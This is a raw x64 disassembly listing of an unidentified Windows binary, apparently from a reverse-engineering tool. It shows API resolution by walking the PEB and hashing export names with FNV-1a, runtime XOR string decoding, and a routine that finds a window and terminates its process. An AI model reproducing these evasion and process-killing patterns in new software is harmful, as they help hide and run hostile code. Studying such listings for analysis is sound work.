mov eax, dword [rsp + 0x88]
dec eax
mov dword [rsp + 0x88], eax
cmp dword [rsp + 0x460], 0
je 0x14010f07b
mov eax, dword [rsp + 0x698]
mov dword [rsp + 0x1a8], eax
movabs rax, 0x67288136e6d2f59e
shr rax, 0x20
mov dword [rsp + 0x1a8], eax
mov rax, qword [rsp + 0xe90]
mov qword [rsp + 0x628], rax
mov rax, qword [rsp + 0x1328]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x1320]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x88]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x1320]
mov qword [rsp + 0x628], rax
movabs rax, 0x67288136e6d2f59e
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x464], eax
mov rax, qword [rsp + 0x628]
mov qword [rsp + 0x4d8], rax
mov eax, dword [rsp + 0x1a8]
mov dword [rsp + 0x150], eax
mov rax, qword [rsp + 0x4d8]
movzx eax, byte [rax]
mov byte [rsp + 0x4e], al
mov rax, qword [rsp + 0x4d8]
inc rax
mov qword [rsp + 0x4d8], rax
movzx eax, byte [rsp + 0x4e]
mov byte [rsp + 0x37], al
movsx eax, byte [rsp + 0x37]
test eax, eax
jne 0x14010efa6
mov eax, dword [rsp + 0x150]
mov dword [rsp + 0x468], eax
jmp 0x14010eff0
xor eax, eax
test eax, eax
je 0x14010efbd
movsx eax, byte [rsp + 0x37]
or eax, 0x20
mov dword [rsp + 0x1ac], eax
jmp 0x14010efc9
movsx eax, byte [rsp + 0x37]
mov dword [rsp + 0x1ac], eax
mov eax, dword [rsp + 0x1ac]
mov ecx, dword [rsp + 0x150]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x150], eax
jmp 0x14010ef62
mov eax, dword [rsp + 0x464]
cmp dword [rsp + 0x468], eax
jne 0x14010f076
mov rax, qword [rsp + 0x1328]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x1320]
mov qword [rsp + 0x848], rax
mov rax, qword [rsp + 0x1328]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x1320]
mov qword [rsp + 0x840], rax
mov eax, dword [rsp + 0x88]
mov rcx, qword [rsp + 0x840]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x848]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x1320]
mov qword [rsp + 0x850], rax
mov rax, qword [rsp + 0x850]
mov qword [rsp + 0x4e8], rax
jmp 0x14010f0cc
jmp 0x14010ee99
mov rax, qword [rsp + 0x1250]
mov qword [rsp + 0x858], rax
mov rax, qword [rsp + 0x858]
mov rax, qword [rax]
mov qword [rsp + 0x860], rax
mov rax, qword [rsp + 0x860]
mov qword [rsp + 0x1250], rax
mov byte [rsp + 0x4f], 1
movzx eax, byte [rsp + 0x4f]
test eax, eax
jne 0x14010edb2
mov qword [rsp + 0x4e8], 0
mov eax, dword [rsp + 0x46c]
mov dword [rsp + 0x470], eax
mov ecx, dword [rsp + 0x470]
call qword [rsp + 0x4e8]
xor eax, eax
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.typefile
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x108], al
mov eax, 1
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.typefile
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x109], al
mov eax, 2
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.typefile
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x10a], al
mov eax, 3
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.typefile
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x10b], al
mov eax, 4
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.typefile
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x10c], al
mov eax, 5
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.typefile
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x10d], al
mov eax, 6
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.typefile
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x10e], al
mov eax, 7
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.typefile
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x10f], al
mov eax, 8
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.typefile
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x110], al
mov byte [rsp + 0x111], 0
mov byte [rsp + 0x112], 1
lea rax, [rsp + 0x108]
mov qword [rsp + 0x870], rax
mov r8, qword [rsp + 0x868]
mov rdx, qword [rsp + 0x870]
lea rcx, [rsp + 0x1030]
call fcn.14009fae0
mov qword [rsp + 0x878], rax
mov rax, qword [rsp + 0x878]
mov qword [rsp + 0x880], rax
mov rax, qword [rsp + 0x880]
mov qword [rsp + 0x890], rax
mov r8, qword [rsp + 0x888]
mov rdx, qword [rsp + 0x890]
lea rcx, [rsp + 0xf58]
call fcn.14009e4e0
mov qword [rsp + 0x898], rax
mov rax, qword [rsp + 0x898]
mov qword [rsp + 0x8a0], rax
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x8b0], rax
mov r8, qword [rsp + 0x8a8]
mov rdx, qword [rsp + 0x8b0]
lea rcx, [rsp + 0xf78]
call fcn.1400a06e0
mov qword [rsp + 0x8b8], rax
mov rax, qword [rsp + 0x8b8]
mov qword [rsp + 0x8c0], rax
mov rax, qword [rsp + 0x16c0]
add rax, 0x238
mov r8, rax
mov rdx, qword [rsp + 0x8c0]
lea rcx, [rsp + 0xf98]
call fcn.14009e4e0
mov qword [rsp + 0x8c8], rax
mov rax, qword [rsp + 0x8c8]
mov qword [rsp + 0x8d0], rax
mov rax, qword [rsp + 0x8d0]
mov qword [rsp + 0x778], rax
mov r8, qword [rsp + 0x8d8]
mov rdx, qword [rsp + 0x778]
lea rcx, [rsp + 0xfb8]
call fcn.14009eaa0
mov qword [rsp + 0x8e8], rax
mov rax, qword [rsp + 0x8e8]
mov qword [rsp + 0x8f0], rax
mov rax, qword [rsp + 0x16c0]
mov r8, rax
mov rdx, qword [rsp + 0x8f0]
lea rcx, [rsp + 0xfd8]
call fcn.14009e4e0
mov qword [rsp + 0x8f8], rax
mov rax, qword [rsp + 0x8f8]
mov qword [rsp + 0x900], rax
mov rax, qword [rsp + 0x900]
mov qword [rsp + 0x920], rax
mov rax, qword [rsp + 0x630]
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x258], 0xffffffffffffffff
inc qword [rsp + 0x258]
mov rax, qword [rsp + 0x908]
mov rcx, qword [rsp + 0x258]
cmp byte [rax + rcx], 0
jne 0x14010f42e
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0x910], rax
mov rax, qword [rsp + 0x910]
mov qword [rsp + 0x918], rax
mov r8, qword [rsp + 0x918]
mov rdx, qword [rsp + 0x630]
mov rcx, qword [rsp + 0x920]
call fcn.140095400
mov qword [rsp + 0x928], rax
mov rdx, qword [rsp + 0x928]
lea rcx, [rsp + 0xef8]
call fcn.1400b70d0
mov eax, dword [rsp + 0x30]
bts eax, 0xa
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0xef8]
mov qword [rsp + 0x930], rax
mov rax, qword [rsp + 0x16c0]
add rax, 0x20
mov r8, rax
mov rdx, qword [rsp + 0x930]
lea rcx, [rsp + 0x1610]
call fcn.14009e4e0
nop
lea rcx, [rsp + 0xef8]
call fcn.1401056b0
nop
lea rcx, [rsp + 0xfd8]
call fcn.1401056b0
nop
lea rcx, [rsp + 0xfb8]
call fcn.1401056b0
nop
lea rcx, [rsp + 0xf98]
call fcn.1401056b0
nop
lea rcx, [rsp + 0xf78]
call fcn.1401056b0
nop
lea rcx, [rsp + 0xf58]
call fcn.1401056b0
nop
lea rcx, [rsp + 0x1030]
call fcn.1401056b0
lea rax, [rsp + 0x1118]
mov qword [rsp + 0x938], rax
mov rax, qword [rsp + 0x16c0]
add rax, 0x80
mov rdx, rax
mov rcx, qword [rsp + 0x938]
call fcn.14003fa30
mov qword [rsp + 0x940], rax
mov rax, qword [rsp + 0x940]
mov qword [rsp + 0x948], rax
mov rax, qword [rsp + 0x948]
mov qword [rsp + 0x3e0], rax
lea rax, [rsp + 0x1138]
mov qword [rsp + 0x950], rax
lea rdx, [rsp + 0x1610]
mov rcx, qword [rsp + 0x950]
call fcn.14003fa30
mov qword [rsp + 0x958], rax
mov rax, qword [rsp + 0x958]
mov qword [rsp + 0x3d8], rax
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x1420]
lea rcx, [rsp + 0x50]
call fcn.1400bd9f0
nop
mov qword [rsp + 0x1218], 0
cmp qword [rsp + 0x1218], 0
jne 0x14010faf5
movzx eax, byte [rsp + 0x1440]
mov byte [rsp + 0x51], al
movzx eax, byte [rsp + 0x51]
test eax, eax
je 0x14010f859
mov edx, Ordinal_26
lea rcx, [rsp + 0x1478]
call fcn.140105bf0
lea rcx, [rsp + 0x1478]
call fcn.1400b8420
nop
mov rax, qword [rsp + 0x1430]
mov qword [rsp + 0x960], rax
xor edx, edx
mov rax, qword [rsp + 0x960]
mov ecx, 2
div rcx
mov rdx, rax
lea rcx, [rsp + 0x1478]
call fcn.140125710
mov qword [rsp + 0x260], 0
jmp 0x14010f6a7
mov rax, qword [rsp + 0x260]
add rax, 2
mov qword [rsp + 0x260], rax
mov rax, qword [rsp + 0x1430]
mov qword [rsp + 0x968], rax
mov rax, qword [rsp + 0x968]
cmp qword [rsp + 0x260], rax
jae 0x14010f76c
lea rax, [rsp + 0x1420]
mov qword [rsp + 0x970], rax
lea rax, [rsp + 0x138]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x970]
lea rcx, [rsp + 0x14b0]
call fcn.1400b7190
mov eax, dword [rsp + 0x30]
bts eax, 0x10
mov dword [rsp + 0x30], eax
mov r8d, reloc.WS2_32.dll_recv
xor edx, edx
lea rcx, [rsp + 0x14b0]
call fcn.1401289b0
mov byte [rsp + 0x129a], al
lea rdx, [rsp + 0x129a]
lea rcx, [rsp + 0x1478]
call fcn.1400a3790
xor edx, edx
lea rcx, [rsp + 0x14b0]
call fcn.140102af0
nop
lea rcx, [rsp + 0x14b0]
call fcn.1401056b0
jmp 0x14010f693
lea rax, [rsp + 0x139]
mov qword [rsp + 0x988], rax
lea rdx, [rsp + 0xe98]
lea rcx, [rsp + 0x1478]
call fcn.140113140
mov rax, qword [rax]
mov qword [rsp + 0x978], rax
mov rax, qword [rsp + 0x978]
mov qword [rsp + 0x990], rax
lea rdx, [rsp + 0xdc0]
lea rcx, [rsp + 0x1478]
call fcn.1401064b0
mov rax, qword [rax]
mov qword [rsp + 0x980], rax
mov rax, qword [rsp + 0x980]
mov qword [rsp + 0x998], rax
mov r9, qword [rsp + 0x988]
mov r8, qword [rsp + 0x990]
mov rdx, qword [rsp + 0x998]
lea rcx, [rsp + 0x14d0]
call fcn.14009d390
nop
lea rax, [rsp + 0x1420]
lea rdx, [rsp + 0x14d0]
mov rcx, rax
call fcn.1400ba050
xor edx, edx
lea rcx, [rsp + 0x14d0]
call fcn.140102af0
lea rcx, [rsp + 0x1478]
call fcn.140107e80
mov byte [rsp + 0x1440], 0
lea rcx, [rsp + 0x14d0]
call fcn.1401056b0
nop
lea rcx, [rsp + 0x1478]
call fcn.140105190
lea rax, [rsp + 0x1420]
mov rdx, rax
lea rcx, [rsp + 0xed8]
call fcn.14003fa30
mov eax, dword [rsp + 0x30]
bts eax, 0xf
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0xed8]
mov qword [rsp + 0x9a0], rax
mov rax, qword [rsp + 0x9a0]
mov rcx, rax
call fcn.1401045d0
mov qword [rsp + 0x9a8], rax
xor edx, edx
mov rcx, qword [rsp + 0x9a8]
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [rsp + 0x1218], rax
lea rcx, [rsp + 0xed8]
call fcn.1401056b0
movzx eax, byte [rsp + 0x1440]
mov byte [rsp + 0x53], al
movzx eax, byte [rsp + 0x53]
test eax, eax
jne 0x14010fac4
lea rcx, [rsp + 0x14f0]
call fcn.1400b78f0
nop
lea rax, [rsp + 0x1420]
mov qword [rsp + 0x4f0], rax
mov rax, qword [rsp + 0x4f0]
mov qword [rsp + 0x498], rax
mov rax, qword [rsp + 0x498]
mov qword [rsp + 0x638], rax
mov rax, qword [rsp + 0x498]
cmp qword [rax + 0x18], 0xf
jbe 0x14010f93d
mov dword [rsp + 0x1b0], 1
jmp 0x14010f948
mov dword [rsp + 0x1b0], 0
movzx eax, byte [rsp + 0x1b0]
mov byte [rsp + 0x54], al
movzx eax, byte [rsp + 0x54]
test eax, eax
je 0x14010f980
mov rax, qword [rsp + 0x498]
mov rax, qword [rax]
mov qword [rsp + 0x9b0], rax
mov rax, qword [rsp + 0x9b0]
mov qword [rsp + 0x638], rax
mov rax, qword [rsp + 0x638]
mov qword [rsp + 0x9b8], rax
mov rax, qword [rsp + 0x9b8]
mov qword [rsp + 0x228], rax
mov rcx, qword [rsp + 0x4f0]
call fcn.140105b00
mov qword [rsp + 0x9c0], rax
jmp 0x14010f9ca
mov rax, qword [rsp + 0x228]
inc rax
mov qword [rsp + 0x228], rax
mov rax, qword [rsp + 0x9c0]
cmp qword [rsp + 0x228], rax
je 0x14010fa97
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x9c8], rax
mov rax, qword [rsp + 0x9c8]
movzx eax, byte [rax]
mov byte [rsp + 0x55], al
movzx eax, byte [rsp + 0x55]
mov r8d, eax
lea rdx, str._02x
lea rcx, [rsp + 0x12a0]
call fcn.14005c110
lea rax, [rsp + 0x12a0]
mov qword [rsp + 0x9d0], rax
mov qword [rsp + 0x268], 0xffffffffffffffff
inc qword [rsp + 0x268]
mov rax, qword [rsp + 0x9d0]
mov rcx, qword [rsp + 0x268]
cmp byte [rax + rcx], 0
jne 0x14010fa37
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x9d8], rax
mov rax, qword [rsp + 0x9d8]
mov qword [rsp + 0x9e0], rax
mov r8, qword [rsp + 0x9e0]
lea rdx, [rsp + 0x12a0]
lea rcx, [rsp + 0x14f0]
call fcn.140095400
jmp 0x14010f9b7
lea rax, [rsp + 0x1420]
lea rdx, [rsp + 0x14f0]
mov rcx, rax
call fcn.1400ba050
mov byte [rsp + 0x1440], 1
lea rcx, [rsp + 0x14f0]
call fcn.1401056b0
lea rax, [rsp + 0x1420]
mov rdx, rax
lea rcx, [rsp + 0x1050]
call fcn.14003fa30
mov eax, dword [rsp + 0x30]
bts eax, 0x11
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x1050]
call fcn.1401056b0
cmp qword [rsp + 0x1218], 0
je 0x14010ff10
lea rax, [rsp + 0x1228]
mov qword [rsp + 0xa30], rax
mov rax, qword [rsp + 0xea8]
mov qword [rsp + 0x3f0], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x9e8], rax
mov rax, qword [rsp + 0x9e8]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x9f0], rax
mov rax, qword [rsp + 0x9f0]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x9f8], rax
mov rax, qword [rsp + 0x9f8]
mov qword [rsp + 0x1220], rax
mov rax, qword [rsp + 0x1220]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x1338], rax
mov rax, qword [rsp + 0x270]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x270]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa00], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0xa00]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x4f8], rax
mov eax, dword [rsp + 0x4f8]
mov rcx, qword [rsp + 0x270]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1340], rax
mov eax, dword [rsp + 0x4fc]
mov dword [rsp + 0x1348], eax
mov rax, qword [rsp + 0x1338]
cmp qword [rsp + 0x1340], rax
je 0x14010fc1e
mov dword [rsp + 0x1b4], 1
jmp 0x14010fc29
mov dword [rsp + 0x1b4], 0
movzx eax, byte [rsp + 0x1b4]
mov byte [rsp + 0x56], al
movzx eax, byte [rsp + 0x56]
test eax, eax
je 0x14010fe36
mov rax, qword [rsp + 0x1340]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x8c], eax
mov eax, dword [rsp + 0x8c]
mov dword [rsp + 0x474], eax
mov eax, dword [rsp + 0x8c]
dec eax
mov dword [rsp + 0x8c], eax
cmp dword [rsp + 0x474], 0
je 0x14010fe36
mov eax, dword [rsp + 0x69c]
mov dword [rsp + 0x1b8], eax
movabs rax, 0xb8a7296939aad06d
shr rax, 0x20
mov dword [rsp + 0x1b8], eax
mov rax, qword [rsp + 0xeb0]
mov qword [rsp + 0x500], rax
mov rax, qword [rsp + 0x1340]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x1338]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x8c]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x1338]
mov qword [rsp + 0x500], rax
movabs rax, 0xb8a7296939aad06d
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x2f8], eax
mov rax, qword [rsp + 0x500]
mov qword [rsp + 0x400], rax
mov eax, dword [rsp + 0x1b8]
mov dword [rsp + 0x154], eax
mov rax, qword [rsp + 0x400]
movzx eax, byte [rax]
mov byte [rsp + 0x57], al
mov rax, qword [rsp + 0x400]
inc rax
mov qword [rsp + 0x400], rax
movzx eax, byte [rsp + 0x57]
mov byte [rsp + 0x38], al
movsx eax, byte [rsp + 0x38]
test eax, eax
jne 0x14010fd61
mov eax, dword [rsp + 0x154]
mov dword [rsp + 0x2fc], eax
jmp 0x14010fdab
xor eax, eax
test eax, eax
je 0x14010fd78
movsx eax, byte [rsp + 0x38]
or eax, 0x20
mov dword [rsp + 0x1bc], eax
jmp 0x14010fd84
movsx eax, byte [rsp + 0x38]
mov dword [rsp + 0x1bc], eax
mov eax, dword [rsp + 0x1bc]
mov ecx, dword [rsp + 0x154]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x154], eax
jmp 0x14010fd1d
mov eax, dword [rsp + 0x2f8]
cmp dword [rsp + 0x2fc], eax
jne 0x14010fe31
mov rax, qword [rsp + 0x1340]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x1338]
mov qword [rsp + 0xa10], rax
mov rax, qword [rsp + 0x1340]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x1338]
mov qword [rsp + 0xa08], rax
mov eax, dword [rsp + 0x8c]
mov rcx, qword [rsp + 0xa08]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0xa10]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x1338]
mov qword [rsp + 0xa18], rax
mov rax, qword [rsp + 0xa18]
mov qword [rsp + 0x3f0], rax
jmp 0x14010fe87
jmp 0x14010fc54
mov rax, qword [rsp + 0x1220]
mov qword [rsp + 0xa20], rax
mov rax, qword [rsp + 0xa20]
mov rax, qword [rax]
mov qword [rsp + 0xa28], rax
mov rax, qword [rsp + 0xa28]
mov qword [rsp + 0x1220], rax
mov byte [rsp + 0x58], 1
movzx eax, byte [rsp + 0x58]
test eax, eax
jne 0x14010fb6d
mov qword [rsp + 0x3f0], 0
mov rax, qword [rsp + 0xa30]
mov qword [rsp + 0xa38], rax
mov rax, qword [rsp + 0x1218]
mov qword [rsp + 0xa40], rax
mov rdx, qword [rsp + 0xa38]
mov rcx, qword [rsp + 0xa40]
call qword [rsp + 0x3f0]
mov r8d, dword [rsp + 0x1228]
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x278], rax
cmp qword [rsp + 0x278], 0
je 0x14010ff10
cmp qword [rsp + 0x278], 0xffffffffffffffff
je 0x14010ff10
xor edx, edx
mov rcx, qword [rsp + 0x278]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x278]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rsp + 0x1420]
call fcn.1400b9cc0
xor edx, edx
lea rcx, [0x1400d7460]
call qword [sym.imp.USER32.dll_EnumWindows]
call fcn.1400fb7f0
movzx eax, al
test eax, eax
je 0x1401102d6
mov dword [rsp + 0x314], 0
mov rax, qword [rsp + 0xdc8]
mov qword [rsp + 0x3b0], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0xa48], rax
mov rax, qword [rsp + 0xa48]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0xa50], rax
mov rax, qword [rsp + 0xa50]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0xa58], rax
mov rax, qword [rsp + 0xa58]
mov qword [rsp + 0x1258], rax
mov rax, qword [rsp + 0x1258]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x1350], rax
mov rax, qword [rsp + 0x280]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x280]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa60], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0xa60]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x508], rax
mov eax, dword [rsp + 0x508]
mov rcx, qword [rsp + 0x280]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1358], rax
mov eax, dword [rsp + 0x50c]
mov dword [rsp + 0x1360], eax
mov rax, qword [rsp + 0x1350]
cmp qword [rsp + 0x1358], rax
je 0x140110051
mov dword [rsp + 0x1c0], 1
jmp 0x14011005c
mov dword [rsp + 0x1c0], 0
movzx eax, byte [rsp + 0x1c0]
mov byte [rsp + 0x59], al
movzx eax, byte [rsp + 0x59]
test eax, eax
je 0x140110269
mov rax, qword [rsp + 0x1358]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x308], eax
mov eax, dword [rsp + 0x90]
dec eax
mov dword [rsp + 0x90], eax
cmp dword [rsp + 0x308], 0
je 0x140110269
mov eax, dword [rsp + 0x6a0]
mov dword [rsp + 0x1c4], eax
movabs rax, 0x12928f971dc64d9
shr rax, 0x20
mov dword [rsp + 0x1c4], eax
mov rax, qword [rsp + 0xdd0]
mov qword [rsp + 0x510], rax
mov rax, qword [rsp + 0x1358]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x1350]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x90]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x1350]
mov qword [rsp + 0x510], rax
movabs rax, 0x12928f971dc64d9
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x30c], eax
mov rax, qword [rsp + 0x510]
mov qword [rsp + 0x3c8], rax
mov eax, dword [rsp + 0x1c4]
mov dword [rsp + 0x158], eax
mov rax, qword [rsp + 0x3c8]
movzx eax, byte [rax]
mov byte [rsp + 0x5a], al
mov rax, qword [rsp + 0x3c8]
inc rax
mov qword [rsp + 0x3c8], rax
movzx eax, byte [rsp + 0x5a]
mov byte [rsp + 0x39], al
movsx eax, byte [rsp + 0x39]
test eax, eax
jne 0x140110194
mov eax, dword [rsp + 0x158]
mov dword [rsp + 0x310], eax
jmp 0x1401101de
xor eax, eax
test eax, eax
je 0x1401101ab
movsx eax, byte [rsp + 0x39]
or eax, 0x20
mov dword [rsp + 0x1c8], eax
jmp 0x1401101b7
movsx eax, byte [rsp + 0x39]
mov dword [rsp + 0x1c8], eax
mov eax, dword [rsp + 0x1c8]
mov ecx, dword [rsp + 0x158]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x158], eax
jmp 0x140110150
mov eax, dword [rsp + 0x30c]
cmp dword [rsp + 0x310], eax
jne 0x140110264
mov rax, qword [rsp + 0x1358]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x1350]
mov qword [rsp + 0xa70], rax
mov rax, qword [rsp + 0x1358]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x1350]
mov qword [rsp + 0xa68], rax
mov eax, dword [rsp + 0x90]
mov rcx, qword [rsp + 0xa68]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0xa70]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x1350]
mov qword [rsp + 0xa78], rax
mov rax, qword [rsp + 0xa78]
mov qword [rsp + 0x3b0], rax
jmp 0x1401102ba
jmp 0x140110087
mov rax, qword [rsp + 0x1258]
mov qword [rsp + 0xa80], rax
mov rax, qword [rsp + 0xa80]
mov rax, qword [rax]
mov qword [rsp + 0xa88], rax
mov rax, qword [rsp + 0xa88]
mov qword [rsp + 0x1258], rax
mov byte [rsp + 0x5b], 1
movzx eax, byte [rsp + 0x5b]
test eax, eax
jne 0x14010ffa0
mov qword [rsp + 0x3b0], 0
mov eax, dword [rsp + 0x314]
mov dword [rsp + 0x318], eax
mov ecx, dword [rsp + 0x318]
call qword [rsp + 0x3b0]
call fcn.14012c100
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
jne 0x1401103a4
lea rax, [rsp + 0x5c]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x10f0]
lea rcx, [rsp + 0x5c]
call fcn.1400c0140
mov qword [rsp + 0xa90], rax
mov rax, qword [rsp + 0xa90]
mov qword [rsp + 0xa98], rax
mov rax, qword [rsp + 0xa98]
mov rcx, rax
call fcn.1401045d0
mov qword [rsp + 0xaa0], rax
mov rdx, qword [rsp + 0xaa0]
lea rcx, [rsp + 0x1490]
call fcn.1400b7450
mov eax, dword [rsp + 0x30]
bts eax, 0xc
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x10f0]
call fcn.1400b9cc0
nop
mov rcx, qword [rsp + 0x3d8]
call fcn.1401056b0
nop
mov rcx, qword [rsp + 0x3e0]
call fcn.1401056b0
lea rax, [rsp + 0x1490]
mov qword [rsp + 0xce8], rax
jmp 0x140111d07
lea rcx, [rsp + 0x15d0]
call fcn.1400b78f0
nop
lea rcx, [rsp + 0x1670]
call fcn.1400b78f0
nop
lea rax, [rsp + 0x5d]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x12b0]
lea rcx, [rsp + 0x5d]
call fcn.1400c1eb0
nop
mov rax, qword [rsp + 0x3e0]
mov rcx, rax
call fcn.1401045d0
mov qword [rsp + 0xaa8], rax
mov r8, qword [rsp + 0xaa8]
mov edx, 0x2712
mov rcx, qword [rsp + 0x80]
call fcn.14012e900
mov r8d, 1
mov edx, 0x40
mov rcx, qword [rsp + 0x80]
call fcn.14012e900
movzx eax, byte [rsp + 0x12d0]
mov byte [rsp + 0x5e], al
movzx eax, byte [rsp + 0x5e]
test eax, eax
je 0x14011066d
mov edx, Ordinal_26
lea rcx, [rsp + 0x1460]
call fcn.140105bf0
lea rcx, [rsp + 0x1460]
call fcn.1400b8420
nop
mov rax, qword [rsp + 0x12c0]
mov qword [rsp + 0xab0], rax
xor edx, edx
mov rax, qword [rsp + 0xab0]
mov ecx, 2
div rcx
mov rdx, rax
lea rcx, [rsp + 0x1460]
call fcn.140125710
mov qword [rsp + 0x288], 0
jmp 0x1401104bb
mov rax, qword [rsp + 0x288]
add rax, 2
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0x12c0]
mov qword [rsp + 0xab8], rax
mov rax, qword [rsp + 0xab8]
cmp qword [rsp + 0x288], rax
jae 0x140110580
lea rax, [rsp + 0x12b0]
mov qword [rsp + 0xac0], rax
lea rax, [rsp + 0x13a]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8, qword [rsp + 0x288]
mov rdx, qword [rsp + 0xac0]
lea rcx, [rsp + 0x15f0]
call fcn.1400b7190
mov eax, dword [rsp + 0x30]
bts eax, 0x13
mov dword [rsp + 0x30], eax
mov r8d, reloc.WS2_32.dll_recv
xor edx, edx
lea rcx, [rsp + 0x15f0]
call fcn.1401289b0
mov byte [rsp + 0x1299], al
lea rdx, [rsp + 0x1299]
lea rcx, [rsp + 0x1460]
call fcn.1400a3790
xor edx, edx
lea rcx, [rsp + 0x15f0]
call fcn.140102af0
nop
lea rcx, [rsp + 0x15f0]
call fcn.1401056b0
jmp 0x1401104a7
lea rax, [rsp + 0x14c]
mov qword [rsp + 0xad8], rax
lea rdx, [rsp + 0xdd8]
lea rcx, [rsp + 0x1460]
call fcn.140113140
mov rax, qword [rax]
mov qword [rsp + 0xac8], rax
mov rax, qword [rsp + 0xac8]
mov qword [rsp + 0xae0], rax
lea rdx, [rsp + 0xde0]
lea rcx, [rsp + 0x1460]
call fcn.1401064b0
mov rax, qword [rax]
mov qword [rsp + 0xad0], rax
mov rax, qword [rsp + 0xad0]
